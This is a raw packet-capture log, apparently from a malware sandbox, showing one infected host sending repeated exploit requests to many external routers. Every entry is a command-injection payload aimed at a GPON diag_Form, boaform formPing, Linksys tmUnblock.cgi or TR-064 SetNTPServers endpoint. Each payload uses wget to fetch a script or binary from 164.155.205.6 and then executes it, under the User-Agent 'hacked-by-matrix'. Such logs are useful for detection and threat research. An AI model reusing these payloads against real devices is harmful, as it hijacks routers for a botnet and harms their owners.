Mar 2, 2024 12:37:32.997277975 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.23	39086	94.138.115.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997306108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.23	55618	5.30.116.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997309923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.23	36620	210.112.115.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997334003 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.23	58086	118.133.77.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997350931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.23	52042	37.192.110.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997358084 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.23	34652	2.22.199.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997374058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.23	54920	79.236.60.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997400999 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.23	53978	94.76.57.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997404099 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.23	32882	2.164.160.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997412920 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.23	52838	118.145.163.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997440100 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.23	35322	37.81.53.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:32.997445107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.23	60744	213.188.209.10	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:33.062604904 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.23	51262	172.65.175.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:33.455141068 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.23	51260	172.65.175.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.340370893 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.23	55996	172.64.130.94	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.340399027 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.23	43024	179.214.218.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.481693983 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.23	37432	172.67.6.83	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.530750990 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.23	34304	75.176.110.93	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.614211082 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:35.331280947 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.23	42744	172.87.209.191	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.711282969 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:35.683002949 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:36.799458981 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:39.231115103 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:43.839662075 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:52.801018000 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:10.458667040 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.317495108 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.23	43050	179.214.218.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.729235888 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.23	60340	175.236.175.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:34.859200954 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.23	60348	175.236.175.209	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:35.153950930 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:36.115395069 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.23	34316	75.176.110.93	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:35.747226954 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.23	39372	46.0.36.173	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:35.969995975 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:37.123584986 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:38.468990088 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
